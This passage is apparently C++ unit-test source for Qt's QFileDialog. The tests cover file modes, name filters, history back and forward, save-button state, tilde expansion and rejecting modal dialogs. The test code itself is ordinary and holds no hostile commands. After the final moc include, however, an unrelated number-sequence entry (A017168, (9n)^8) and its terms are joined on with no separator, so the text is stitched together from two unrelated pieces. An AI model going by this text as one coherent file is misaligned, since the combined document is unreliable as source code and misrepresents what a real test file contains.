QString()); } void tst_QFiledialog::fileMode() { QNonNativeFileDialog fd; QCOMPARE(fd.fileMode(), QFileDialog::AnyFile); fd.setFileMode(QFileDialog::ExistingFile); QCOMPARE(fd.fileMode(), QFileDialog::ExistingFile); fd.setFileMode(QFileDialog::Directory); QCOMPARE(fd.fileMode(), QFileDialog::Directory); fd.setFileMode(QFileDialog::DirectoryOnly); QCOMPARE(fd.fileMode(), QFileDialog::DirectoryOnly); fd.setFileMode(QFileDialog::ExistingFiles); QCOMPARE(fd.fileMode(), QFileDialog::ExistingFiles); } void tst_QFiledialog::caption() { QNonNativeFileDialog fd; fd.setWindowTitle("testing"); fd.setFileMode(QFileDialog::Directory); QCOMPARE(fd.windowTitle(), QString("testing")); } void tst_QFiledialog::filters() { QNonNativeFileDialog fd; fd.setOptions(QFileDialog::DontUseNativeDialog); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); QCOMPARE(fd.nameFilters(), QStringList("All Files (*)")); // effects QList<QComboBox*> views = fd.findChildren<QComboBox*>("fileTypeCombo"); QVERIFY(views.count() == 1); QCOMPARE(views.at(0)->isVisible(), false); QStringList filters; filters << "Image files (*.png *.xpm *.jpg)" << "Text files (*.txt)" << "Any files (*.*)"; fd.setNameFilters(filters); QCOMPARE(views.at(0)->isVisible(), false); fd.show(); fd.setAcceptMode(QFileDialog::AcceptSave); QCOMPARE(views.at(0)->isVisible(), true); QCOMPARE(fd.nameFilters(), filters); fd.setNameFilter("Image files (*.png *.xpm *.jpg);;Text files (*.txt);;Any files (*.*)"); QCOMPARE(fd.nameFilters(), filters); QCOMPARE(spyCurrentChanged.count(), 0); QCOMPARE(spyDirectoryEntered.count(), 0); QCOMPARE(spyFilesSelected.count(), 0); QCOMPARE(spyFilterSelected.count(), 0); // setting shouldn't emit any signals for (int i = views.at(0)->currentIndex(); i < views.at(0)->count(); ++i) views.at(0)->setCurrentIndex(i); QCOMPARE(spyFilterSelected.count(), 0); //Let check if filters with whitespaces QNonNativeFileDialog fd2; QStringList expected; expected << "C++ Source Files(*.cpp)"; expected << "Any(*.*)"; fd2.setNameFilter("C++ Source Files(*.cpp);;Any(*.*)"); QCOMPARE(expected, fd2.nameFilters()); fd2.setNameFilter("C++ Source Files(*.cpp) ;;Any(*.*)"); QCOMPARE(expected, fd2.nameFilters()); fd2.setNameFilter("C++ Source Files(*.cpp);; Any(*.*)"); QCOMPARE(expected, fd2.nameFilters()); fd2.setNameFilter(" C++ Source Files(*.cpp);; Any(*.*)"); QCOMPARE(expected, fd2.nameFilters()); fd2.setNameFilter("C++ Source Files(*.cpp) ;; Any(*.*)"); QCOMPARE(expected, fd2.nameFilters()); } void tst_QFiledialog::selectFilter() { QNonNativeFileDialog fd; QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); QCOMPARE(fd.selectedNameFilter(), QString("All Files (*)")); QStringList filters; filters << "Image files (*.png *.xpm *.jpg)" << "Text files (*.txt)" << "Any files (*.*)"; fd.setNameFilters(filters); QCOMPARE(fd.selectedNameFilter(), filters.at(0)); fd.selectNameFilter(filters.at(1)); QCOMPARE(fd.selectedNameFilter(), filters.at(1)); fd.selectNameFilter(filters.at(2)); QCOMPARE(fd.selectedNameFilter(), filters.at(2)); fd.selectNameFilter("bob"); QCOMPARE(fd.selectedNameFilter(), filters.at(2)); fd.selectNameFilter(""); QCOMPARE(fd.selectedNameFilter(), filters.at(2)); QCOMPARE(spyFilterSelected.count(), 0); } void tst_QFiledialog::history() { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); QCOMPARE(model->index(fd.history().first()), model->index(QDir::toNativeSeparators(fd.directory().absolutePath()))); fd.setDirectory(QDir::current().absolutePath()); QStringList history; history << QDir::toNativeSeparators(QDir::current().absolutePath()) << QDir::toNativeSeparators(QDir::home().absolutePath()) << QDir::toNativeSeparators(QDir::temp().absolutePath()); fd.setHistory(history); if (fd.history() != history) { qDebug() << fd.history() << history; // quick and dirty output for windows failure. QListView* list = fd.findChild<QListView*>("listView"); QVERIFY(list); QModelIndex root = list->rootIndex(); while (root.isValid()) { qDebug() << root.data(); root = root.parent(); } } QCOMPARE(fd.history(), history); QStringList badHistory; badHistory << "junk"; fd.setHistory(badHistory); badHistory << QDir::toNativeSeparators(QDir::current().absolutePath()); QCOMPARE(fd.history(), badHistory); QCOMPARE(spyCurrentChanged.count(), 0); QCOMPARE(spyDirectoryEntered.count(), 0); QCOMPARE(spyFilesSelected.count(), 0); QCOMPARE(spyFilterSelected.count(), 0); } void tst_QFiledialog::iconProvider() { QNonNativeFileDialog *fd = new QNonNativeFileDialog(); QVERIFY(fd->iconProvider() != 0); QFileIconProvider *ip = new QFileIconProvider(); fd->setIconProvider(ip); QCOMPARE(fd->iconProvider(), ip); delete fd; delete ip; } void tst_QFiledialog::isReadOnly() { QNonNativeFileDialog fd; QPushButton* newButton = fd.findChild<QPushButton*>("newFolderButton"); QAction* renameAction = fd.findChild<QAction*>("qt_rename_action"); QAction* deleteAction = fd.findChild<QAction*>("qt_delete_action"); QCOMPARE(fd.isReadOnly(), false); // This is dependent upon the file/dir, find cross platform way to test //fd.setDirectory(QDir::home()); //QCOMPARE(newButton && newButton->isEnabled(), true); //QCOMPARE(renameAction && renameAction->isEnabled(), true); //QCOMPARE(deleteAction && deleteAction->isEnabled(), true); fd.setReadOnly(true); QCOMPARE(fd.isReadOnly(), true); QCOMPARE(newButton && newButton->isEnabled(), false); QCOMPARE(renameAction && renameAction->isEnabled(), false); QCOMPARE(deleteAction && deleteAction->isEnabled(), false); } void tst_QFiledialog::itemDelegate() { QNonNativeFileDialog fd; QVERIFY(fd.itemDelegate() != 0); QItemDelegate *id = new QItemDelegate(&fd); fd.setItemDelegate(id); QCOMPARE(fd.itemDelegate(), (QAbstractItemDelegate *)id); } void tst_QFiledialog::labelText() { QNonNativeFileDialog fd; QDialogButtonBox buttonBox; QPushButton *cancelButton = buttonBox.addButton(QDialogButtonBox::Cancel); QCOMPARE(fd.labelText(QFileDialog::LookIn), QString("Look in:")); QCOMPARE(fd.labelText(QFileDialog::FileName), QString("File &name:")); QCOMPARE(fd.labelText(QFileDialog::FileType), QString("Files of type:")); QCOMPARE(fd.labelText(QFileDialog::Accept), QString("&Open")); ///### see task 241462 QCOMPARE(fd.labelText(QFileDialog::Reject), cancelButton->text()); fd.setLabelText(QFileDialog::LookIn, "1"); QCOMPARE(fd.labelText(QFileDialog::LookIn), QString("1")); fd.setLabelText(QFileDialog::FileName, "2"); QCOMPARE(fd.labelText(QFileDialog::FileName), QString("2")); fd.setLabelText(QFileDialog::FileType, "3"); QCOMPARE(fd.labelText(QFileDialog::FileType), QString("3")); fd.setLabelText(QFileDialog::Accept, "4"); QCOMPARE(fd.labelText(QFileDialog::Accept), QString("4")); fd.setLabelText(QFileDialog::Reject, "5"); QCOMPARE(fd.labelText(QFileDialog::Reject), QString("5")); } void tst_QFiledialog::resolveSymlinks() { QNonNativeFileDialog fd; // default QCOMPARE(fd.resolveSymlinks(), true); fd.setResolveSymlinks(false); QCOMPARE(fd.resolveSymlinks(), false); fd.setResolveSymlinks(true); QCOMPARE(fd.resolveSymlinks(), true); // the file dialog doesn't do anything based upon this, just passes it to the model // the model should fully test it, don't test it here } void tst_QFiledialog::selectFile_data() { QTest::addColumn<QString>("file"); QTest::addColumn<int>("count"); QTest::newRow("null") << QString() << 1; QTest::newRow("file") << "foo" << 1; QTest::newRow("tmp") << "temp" << 1; } void tst_QFiledialog::selectFile() { QFETCH(QString, file); QFETCH(int, count); QScopedPointer<QNonNativeFileDialog> fd(new QNonNativeFileDialog); QFileSystemModel *model = fd->findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); fd->setDirectory(QDir::currentPath()); // default value QCOMPARE(fd->selectedFiles().count(), 1); QScopedPointer<QTemporaryFile> tempFile; if (file == QLatin1String("temp")) { tempFile.reset(new QTemporaryFile(QDir::tempPath() + QStringLiteral("/aXXXXXX"))); QVERIFY(tempFile->open()); file = tempFile->fileName(); } fd->selectFile(file); QCOMPARE(fd->selectedFiles().count(), count); if (tempFile.isNull()) { QCOMPARE(model->index(fd->directory().path()), model->index(QDir::currentPath())); } else { QCOMPARE(model->index(fd->directory().path()), model->index(QDir::tempPath())); } fd.reset(); // Ensure the file dialog let's go of the temporary file for "temp". } void tst_QFiledialog::selectFileWrongCaseSaveAs() { const QString home = QDir::homePath(); if (isCaseSensitiveFileSystem(home)) QSKIP("This test is intended for case-insensitive file systems only."); // QTBUG-38162: when passing a wrongly capitalized path to selectFile() // on a case-insensitive file system, the line edit should only // contain the file name ("c:\PRogram files\foo.txt" -> "foo.txt"). const QString fileName = QStringLiteral("foo.txt"); const QString path = home + QLatin1Char('/') + fileName; QString wrongCasePath = path; for (int c = 0; c < wrongCasePath.size(); c += 2) wrongCasePath[c] = wrongCasePath.at(c).isLower() ? wrongCasePath.at(c).toUpper() : wrongCasePath.at(c).toLower(); QNonNativeFileDialog fd(0, "QTBUG-38162", wrongCasePath); fd.setAcceptMode(QFileDialog::AcceptSave); fd.selectFile(wrongCasePath); const QLineEdit *lineEdit = fd.findChild<QLineEdit*>("fileNameEdit"); QVERIFY(lineEdit); QCOMPARE(lineEdit->text().compare(fileName, Qt::CaseInsensitive), 0); } void tst_QFiledialog::selectFiles() { QTemporaryDir tempDir; QVERIFY(tempDir.isValid()); const QString tempPath = tempDir.path(); { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); fd.setDirectory(tempPath); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); fd.show(); fd.setFileMode(QFileDialog::ExistingFiles); QString filesPath = fd.directory().absolutePath(); for (int i=0; i < 5; ++i) { QFile file(filesPath + QString::fromLatin1("/qfiledialog_auto_test_not_pres_%1").arg(i)); file.open(QIODevice::WriteOnly); file.resize(1024); file.flush(); file.close(); } // Get a list of files in the view and then get the corresponding index's QStringList list = fd.directory().entryList(QDir::Files); QModelIndexList toSelect; QVERIFY(list.count() > 1); QListView* listView = fd.findChild<QListView*>("listView"); QVERIFY(listView); for (int i = 0; i < list.count(); ++i) { fd.selectFile(fd.directory().path() + "/" + list.at(i)); QTRY_VERIFY(!listView->selectionModel()->selectedRows().isEmpty()); toSelect.append(listView->selectionModel()->selectedRows().last()); } QCOMPARE(spyFilesSelected.count(), 0); listView->selectionModel()->clear(); QCOMPARE(spyFilesSelected.count(), 0); // select the indexes for (int i = 0; i < toSelect.count(); ++i) { listView->selectionModel()->select(toSelect.at(i), QItemSelectionModel::Select | QItemSelectionModel::Rows); } QCOMPARE(fd.selectedFiles().count(), toSelect.count()); QCOMPARE(spyCurrentChanged.count(), 0); QCOMPARE(spyDirectoryEntered.count(), 0); QCOMPARE(spyFilesSelected.count(), 0); QCOMPARE(spyFilterSelected.count(), 0); } { //If the selection is invalid then we fill the line edit but without the / QNonNativeFileDialog dialog( 0, "Save" ); dialog.setFileMode( QFileDialog::AnyFile ); dialog.setAcceptMode( QFileDialog::AcceptSave ); dialog.selectFile(tempPath + QStringLiteral("/blah")); dialog.show(); QVERIFY(QTest::qWaitForWindowExposed(&dialog)); QLineEdit *lineEdit = dialog.findChild<QLineEdit*>("fileNameEdit"); QVERIFY(lineEdit); QCOMPARE(lineEdit->text(),QLatin1String("blah")); } } void tst_QFiledialog::viewMode() { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); fd.show(); // find widgets QList<QTreeView*> treeView = fd.findChildren<QTreeView*>("treeView"); QCOMPARE(treeView.count(), 1); QList<QListView*> listView = fd.findChildren<QListView*>("listView"); QCOMPARE(listView.count(), 1); QList<QToolButton*> listButton = fd.findChildren<QToolButton*>("listModeButton"); QCOMPARE(listButton.count(), 1); QList<QToolButton*> treeButton = fd.findChildren<QToolButton*>("detailModeButton"); QCOMPARE(treeButton.count(), 1); // default value QCOMPARE(fd.viewMode(), QFileDialog::List); // detail fd.setViewMode(QFileDialog::ViewMode(QFileDialog::Detail)); QCOMPARE(QFileDialog::ViewMode(QFileDialog::Detail), fd.viewMode()); QCOMPARE(listView.at(0)->isVisible(), false); QCOMPARE(listButton.at(0)->isDown(), false); QCOMPARE(treeView.at(0)->isVisible(), true); QCOMPARE(treeButton.at(0)->isDown(), true); // list fd.setViewMode(QFileDialog::ViewMode(QFileDialog::List)); QCOMPARE(QFileDialog::ViewMode(QFileDialog::List), fd.viewMode()); QCOMPARE(treeView.at(0)->isVisible(), false); QCOMPARE(treeButton.at(0)->isDown(), false); QCOMPARE(listView.at(0)->isVisible(), true); QCOMPARE(listButton.at(0)->isDown(), true); } void tst_QFiledialog::proxymodel() { QNonNativeFileDialog fd; QCOMPARE(fd.proxyModel(), (QAbstractProxyModel*)0); fd.setProxyModel(0); QCOMPARE(fd.proxyModel(), (QAbstractProxyModel*)0); QSortFilterProxyModel *proxyModel = new QSortFilterProxyModel(&fd); fd.setProxyModel(proxyModel); QCOMPARE(fd.proxyModel(), (QAbstractProxyModel *)proxyModel); fd.setProxyModel(0); QCOMPARE(fd.proxyModel(), (QAbstractProxyModel*)0); } void tst_QFiledialog::setEmptyNameFilter() { QNonNativeFileDialog fd; fd.setNameFilter(QString()); fd.setNameFilters(QStringList()); } void tst_QFiledialog::setNameFilter_data() { QTest::addColumn<bool>("nameFilterDetailsVisible"); QTest::addColumn<QStringList>("filters"); QTest::addColumn<QString>("selectFilter"); QTest::addColumn<QString>("expectedSelectedFilter"); QTest::newRow("namedetailsvisible-empty") << true << QStringList() << QString() << QString(); QTest::newRow("namedetailsinvisible-empty") << false << QStringList() << QString() << QString(); const QString anyFileNoDetails = QLatin1String("Any files"); const QString anyFile = anyFileNoDetails + QLatin1String(" (*)"); const QString imageFilesNoDetails = QLatin1String("Image files"); const QString imageFiles = imageFilesNoDetails + QLatin1String(" (*.png *.xpm *.jpg)"); const QString textFileNoDetails = QLatin1String("Text files"); const QString textFile = textFileNoDetails + QLatin1String(" (*.txt)"); QStringList filters; filters << anyFile << imageFiles << textFile; QTest::newRow("namedetailsvisible-images") << true << filters << imageFiles << imageFiles; QTest::newRow("namedetailsinvisible-images") << false << filters << imageFiles << imageFilesNoDetails; const QString invalid = "foo"; QTest::newRow("namedetailsvisible-invalid") << true << filters << invalid << anyFile; // Potential crash when trying to convert the invalid filter into a list and stripping it, resulting in an empty list. QTest::newRow("namedetailsinvisible-invalid") << false << filters << invalid << anyFileNoDetails; } void tst_QFiledialog::setNameFilter() { QFETCH(bool, nameFilterDetailsVisible); QFETCH(QStringList, filters); QFETCH(QString, selectFilter); QFETCH(QString, expectedSelectedFilter); QNonNativeFileDialog fd; fd.setNameFilters(filters); fd.setNameFilterDetailsVisible(nameFilterDetailsVisible); fd.selectNameFilter(selectFilter); QCOMPARE(fd.selectedNameFilter(), expectedSelectedFilter); } void tst_QFiledialog::focus() { QNonNativeFileDialog fd; fd.setDirectory(QDir::currentPath()); fd.show(); QApplication::setActiveWindow(&fd); QVERIFY(QTest::qWaitForWindowActive(&fd)); QCOMPARE(fd.isVisible(), true); QCOMPARE(QApplication::activeWindow(), static_cast<QWidget*>(&fd)); qApp->processEvents(); // make sure the tests work with focus follows mouse QCursor::setPos(fd.geometry().center()); QList<QWidget*> treeView = fd.findChildren<QWidget*>("fileNameEdit"); QCOMPARE(treeView.count(), 1); QVERIFY(treeView.at(0)); QTRY_COMPARE(treeView.at(0)->hasFocus(), true); QCOMPARE(treeView.at(0)->hasFocus(), true); } void tst_QFiledialog::historyBack() { QNonNativeFileDialog fd; QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); QToolButton *backButton = fd.findChild<QToolButton*>("backButton"); QVERIFY(backButton); QToolButton *forwardButton = fd.findChild<QToolButton*>("forwardButton"); QVERIFY(forwardButton); QSignalSpy spy(model, SIGNAL(rootPathChanged(QString))); QString home = fd.directory().absolutePath(); QString desktop = QDir::homePath(); QString temp = QDir::tempPath(); QCOMPARE(backButton->isEnabled(), false); QCOMPARE(forwardButton->isEnabled(), false); fd.setDirectory(temp); qApp->processEvents(); QCOMPARE(backButton->isEnabled(), true); QCOMPARE(forwardButton->isEnabled(), false); fd.setDirectory(desktop); QCOMPARE(spy.count(), 2); backButton->click(); qApp->processEvents(); QCOMPARE(backButton->isEnabled(), true); QCOMPARE(forwardButton->isEnabled(), true); QCOMPARE(spy.count(), 3); QString currentPath = qvariant_cast<QString>(spy.last().first()); QCOMPARE(model->index(currentPath), model->index(temp)); backButton->click(); currentPath = qvariant_cast<QString>(spy.last().first()); QCOMPARE(currentPath, home); QCOMPARE(backButton->isEnabled(), false); QCOMPARE(forwardButton->isEnabled(), true); QCOMPARE(spy.count(), 4); // nothing should change at this point backButton->click(); QCOMPARE(spy.count(), 4); QCOMPARE(backButton->isEnabled(), false); QCOMPARE(forwardButton->isEnabled(), true); } void tst_QFiledialog::historyForward() { QNonNativeFileDialog fd; fd.setDirectory(QDir::currentPath()); QToolButton *backButton = fd.findChild<QToolButton*>("backButton"); QVERIFY(backButton); QToolButton *forwardButton = fd.findChild<QToolButton*>("forwardButton"); QVERIFY(forwardButton); QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); QSignalSpy spy(model, SIGNAL(rootPathChanged(QString))); QString home = fd.directory().absolutePath(); QString desktop = QDir::homePath(); QString temp = QDir::tempPath(); fd.setDirectory(home); fd.setDirectory(temp); fd.setDirectory(desktop); backButton->click(); QCOMPARE(forwardButton->isEnabled(), true); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(temp)); forwardButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(desktop)); QCOMPARE(backButton->isEnabled(), true); QCOMPARE(forwardButton->isEnabled(), false); QCOMPARE(spy.count(), 4); backButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(temp)); QCOMPARE(backButton->isEnabled(), true); backButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(home)); QCOMPARE(backButton->isEnabled(), false); QCOMPARE(forwardButton->isEnabled(), true); QCOMPARE(spy.count(), 6); forwardButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(temp)); backButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(home)); QCOMPARE(spy.count(), 8); forwardButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(temp)); forwardButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(desktop)); backButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(temp)); backButton->click(); QCOMPARE(model->index(qvariant_cast<QString>(spy.last().first())), model->index(home)); fd.setDirectory(desktop); QCOMPARE(forwardButton->isEnabled(), false); } void tst_QFiledialog::disableSaveButton_data() { QTest::addColumn<QString>("path"); QTest::addColumn<bool>("isEnabled"); QTest::newRow("valid path") << QDir::temp().absolutePath() + QDir::separator() + "qfiledialog.new_file" << true; QTest::newRow("no path") << "" << false; #if defined(Q_OS_UNIX) && !defined(Q_OS_MAC) && !defined(Q_OS_OPENBSD) QTest::newRow("too long path") << "iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii" << false; #endif QTest::newRow("file") << "foo.html" << true; } void tst_QFiledialog::disableSaveButton() { QFETCH(QString, path); QFETCH(bool, isEnabled); QNonNativeFileDialog fd(0, "caption", path); fd.setAcceptMode(QFileDialog::AcceptSave); QDialogButtonBox *buttonBox = fd.findChild<QDialogButtonBox*>("buttonBox"); QPushButton *button = buttonBox->button(QDialogButtonBox::Save); QVERIFY(button); QCOMPARE(button->isEnabled(), isEnabled); } void tst_QFiledialog::saveButtonText_data() { QTest::addColumn<QString>("path"); QTest::addColumn<QString>("label"); QTest::addColumn<QString>("caption"); QTest::newRow("empty path") << "" << QString() << QFileDialog::tr("&Save"); QTest::newRow("file path") << "qfiledialog.new_file" << QString() << QFileDialog::tr("&Save"); QTest::newRow("dir") << QDir::temp().absolutePath() << QString() << QFileDialog::tr("&Open"); QTest::newRow("setTextLabel") << "qfiledialog.new_file" << "Mooo" << "Mooo"; QTest::newRow("dir & label") << QDir::temp().absolutePath() << "Poo" << QFileDialog::tr("&Open"); } void tst_QFiledialog::saveButtonText() { QFETCH(QString, path); QFETCH(QString, label); QFETCH(QString, caption); QNonNativeFileDialog fd(0, "auto test", QDir::temp().absolutePath()); fd.setAcceptMode(QFileDialog::AcceptSave); if (!label.isNull()) fd.setLabelText(QFileDialog::Accept, label); fd.setDirectory(QDir::temp()); fd.selectFile(path); QDialogButtonBox *buttonBox = fd.findChild<QDialogButtonBox*>("buttonBox"); QVERIFY(buttonBox); QPushButton *button = buttonBox->button(QDialogButtonBox::Save); QVERIFY(button); QCOMPARE(button->text(), caption); } void tst_QFiledialog::clearLineEdit() { QNonNativeFileDialog fd(0, "caption", "foo"); fd.setViewMode(QFileDialog::List); fd.setFileMode(QFileDialog::AnyFile); fd.setOptions(QFileDialog::DontUseNativeDialog); fd.show(); //play it really safe by creating a directory QDir::home().mkdir("_____aaaaaaaaaaaaaaaaaaaaaa"); QLineEdit *lineEdit = fd.findChild<QLineEdit*>("fileNameEdit"); QVERIFY(lineEdit); QVERIFY(lineEdit->text() == "foo"); fd.setDirectory(QDir::home()); QListView* list = fd.findChild<QListView*>("listView"); QVERIFY(list); // saving a file the text shouldn't be cleared fd.setDirectory(QDir::home()); QTest::qWait(1000); #ifdef QT_KEYPAD_NAVIGATION list->setEditFocus(true); #endif QTest::keyClick(list, Qt::Key_Down); #ifndef Q_OS_MAC QTest::keyClick(list, Qt::Key_Return); #else QTest::keyClick(list, Qt::Key_O, Qt::ControlModifier); #endif QTest::qWait(2000); QVERIFY(fd.directory().absolutePath() != QDir::home().absolutePath()); QVERIFY(!lineEdit->text().isEmpty()); // selecting a dir the text should be cleared so one can just hit ok // and it selects that directory fd.setFileMode(QNonNativeFileDialog::Directory); fd.setDirectory(QDir::home()); QTest::qWait(1000); QTest::keyClick(list, Qt::Key_Down); #ifndef Q_OS_MAC QTest::keyClick(list, Qt::Key_Return); #else QTest::keyClick(list, Qt::Key_O, Qt::ControlModifier); #endif QTest::qWait(2000); QVERIFY(fd.directory().absolutePath() != QDir::home().absolutePath()); QVERIFY(lineEdit->text().isEmpty()); //remove the dir QDir::home().rmdir("_____aaaaaaaaaaaaaaaaaaaaaa"); } void tst_QFiledialog::enableChooseButton() { QNonNativeFileDialog fd; fd.setFileMode(QFileDialog::Directory); fd.show(); QDialogButtonBox *buttonBox = fd.findChild<QDialogButtonBox*>("buttonBox"); QPushButton *button = buttonBox->button(QDialogButtonBox::Open); QVERIFY(button); QCOMPARE(button->isEnabled(), true); } void tst_QFiledialog::widgetlessNativeDialog() { if (!QGuiApplicationPrivate::platformTheme()->usePlatformNativeDialog(QPlatformTheme::FileDialog)) QSKIP("This platform always uses widgets to realize its QFileDialog, instead of the native file dialog."); QFileDialog fd; fd.setWindowModality(Qt::ApplicationModal); fd.show(); QTRY_VERIFY(fd.isVisible()); QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(!model); QPushButton *button = fd.findChild<QPushButton*>(); QVERIFY(!button); } void tst_QFiledialog::selectedFilesWithoutWidgets() { // Test for a crash when widgets are not instantiated yet. QFileDialog fd; fd.setAcceptMode(QFileDialog::AcceptOpen); QVERIFY(fd.selectedFiles().size() >= 0); } void tst_QFiledialog::trailingDotsAndSpaces() { #ifndef Q_OS_WIN QSKIP("This is only tested on Windows"); #endif QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); fd.setFileMode(QFileDialog::ExistingFile); fd.setOptions(QFileDialog::DontUseNativeDialog); fd.show(); QLineEdit *lineEdit = fd.findChild<QLineEdit *>("fileNameEdit"); QVERIFY(lineEdit); QListView *list = fd.findChild<QListView *>("listView"); QVERIFY(list); QTest::qWait(1000); int currentChildrenCount = list->model()->rowCount(list->rootIndex()); QTest::keyClick(lineEdit, Qt::Key_Space); QTest::keyClick(lineEdit, Qt::Key_Period); QTest::qWait(1000); QVERIFY(currentChildrenCount == list->model()->rowCount(list->rootIndex())); lineEdit->clear(); QTest::keyClick(lineEdit, Qt::Key_Period); QTest::keyClick(lineEdit, Qt::Key_Space); QTest::qWait(1000); QVERIFY(currentChildrenCount == list->model()->rowCount(list->rootIndex())); } #ifdef Q_OS_UNIX #ifdef QT_BUILD_INTERNAL void tst_QFiledialog::tildeExpansion_data() { QTest::addColumn<QString>("tildePath"); QTest::addColumn<QString>("expandedPath"); QTest::newRow("empty path") << QString() << QString(); QTest::newRow("~") << QString::fromLatin1("~") << QDir::homePath(); QTest::newRow("~/some/sub/dir/") << QString::fromLatin1("~/some/sub/dir") << QDir::homePath() + QString::fromLatin1("/some/sub/dir"); QString userHome = QString(qgetenv("USER")); userHome.prepend('~'); QTest::newRow("current user (~<user> syntax)") << userHome << QDir::homePath(); QString invalid = QString::fromLatin1("~thisIsNotAValidUserName"); QTest::newRow("invalid user name") << invalid << invalid; } #endif // QT_BUILD_INTERNAL #ifdef QT_BUILD_INTERNAL void tst_QFiledialog::tildeExpansion() { QFETCH(QString, tildePath); QFETCH(QString, expandedPath); QCOMPARE(qt_tildeExpansion(tildePath), expandedPath); } #endif // QT_BUILD_INTERNAL #endif class DialogRejecter : public QObject { Q_OBJECT public: DialogRejecter() { QTimer *timer = new QTimer(this); timer->setInterval(1000); connect(timer, &QTimer::timeout, this, &DialogRejecter::rejectFileDialog); timer->start(); } public slots: void rejectFileDialog() { if (QWidget *w = QApplication::activeModalWidget()) if (QDialog *d = qobject_cast<QDialog *>(w)) d->reject(); } }; void tst_QFiledialog::rejectModalDialogs() { // QTBUG-38672 , static functions should return empty Urls const QFileDialog::Options options = QFileDialog::DontUseNativeDialog; DialogRejecter dr; QUrl url = QFileDialog::getOpenFileUrl(0, QStringLiteral("getOpenFileUrl"), QUrl(), QString(), Q_NULLPTR, options); QVERIFY(url.isEmpty()); QVERIFY(!url.isValid()); url = QFileDialog::getExistingDirectoryUrl(0, QStringLiteral("getExistingDirectoryUrl"), QUrl(), options | QFileDialog::ShowDirsOnly); QVERIFY(url.isEmpty()); QVERIFY(!url.isValid()); url = QFileDialog::getSaveFileUrl(0, QStringLiteral("getSaveFileUrl"), QUrl(), QString(), Q_NULLPTR, options); QVERIFY(url.isEmpty()); QVERIFY(!url.isValid()); // Same test with local files QString file = QFileDialog::getOpenFileName(0, QStringLiteral("getOpenFileName"), QString(), QString(), Q_NULLPTR, options); QVERIFY(file.isEmpty()); file = QFileDialog::getExistingDirectory(0, QStringLiteral("getExistingDirectory"), QString(), options | QFileDialog::ShowDirsOnly); QVERIFY(file.isEmpty()); file = QFileDialog::getSaveFileName(0, QStringLiteral("getSaveFileName"), QString(), QString(), Q_NULLPTR, options); QVERIFY(file.isEmpty()); } QTEST_MAIN(tst_QFiledialog) #include "tst_qfiledialog.moc"
; A017168: a(n) = (9*n)^8. ; 0,43046721,11019960576,282429536481,2821109907456,16815125390625,72301961339136,248155780267521,722204136308736,1853020188851841,4304672100000000,9227446944279201,18509302102818816,35114532758015841,63527879748485376,110324037687890625,184884258895036416,300283484326400961,474373168346071296,731086699811838561,1101996057600000000,1628150074335205281,2362226417735475456,3371031134626313601,4738381338321616896,6568408355712890625,8989320386052055296,12157665459056928801,16263137215612256256,21533967769982950881,28242953648100000000,36714162532123280961,47330370277129322496,60541279401415837761,76872571987558646016,96935851667000390625,121439531096594251776,151200723071169643041,187158195151830671616,230386449425341932801,282110990745600000000,343724848543832762241,416806419029812551936,503138696342012796321,604729962940281716736,723836011270250390625,862983970464336281856,1024997813579847135681,1213025622610333925376,